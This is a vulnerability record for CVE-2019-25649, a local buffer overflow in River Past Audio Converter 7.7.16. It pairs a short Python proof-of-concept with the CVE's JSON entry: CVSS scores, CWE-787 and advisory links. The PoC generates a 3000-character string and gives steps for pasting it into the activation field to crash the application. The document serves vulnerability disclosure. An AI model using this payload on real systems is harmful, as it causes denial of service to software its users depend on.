CVE-2019-25649

# Proof of Concept for CVE-2019-25649 # This script generates the malicious payload to trigger the buffer overflow. # Since this is a GUI application, the payload needs to be pasted into the # 'E-Mail and Activation Code' field and 'Activate' must be clicked. def generate_payload(): # Sending a large amount of 'A' characters to overflow the buffer # The exact size might vary, but 2000+ characters usually triggers the crash buffer = "A" * 3000 return buffer if __name__ == "__main__": payload = generate_payload() print(f"Generated Payload Length: {len(payload)}") print("Payload:") print(payload) print("\n[+] Instructions:") print("1. Copy the generated payload.") print("2. Open River Past Audio Converter 7.7.16.") print("3. Paste the payload into the 'E-Mail and Activation Code' field.") print("4. Click 'Activate'.") print("5. The application should crash.")

{"cve": {"id": "CVE-2019-25649", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:06.477", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "River Past Audio Converter 7.7.16 contains a local buffer overflow vulnerability in the activation code field that allows local attackers to crash the application by supplying an oversized input string. Attackers can paste a large payload of repeated characters into the 'E-Mail and Activation Code' field and click 'Activate' to trigger a denial of service condition."}, {"lang": "es", "value": "River Past Audio Converter 7.7.16 contiene una vulnerabilidad local de desbordamiento de búfer en el campo de código de activación que permite a atacantes locales bloquear la aplicación al proporcionar una cadena de entrada sobredimensionada. Los atacantes pueden pegar una gran carga útil de caracteres repetidos en el campo 'E-Mail and Activation Code' y hacer clic en 'Activate' para desencadenar una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46322", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/river-past-audio-converter-local-buffer-overflow-dos", "source": "[email protected]"}]}}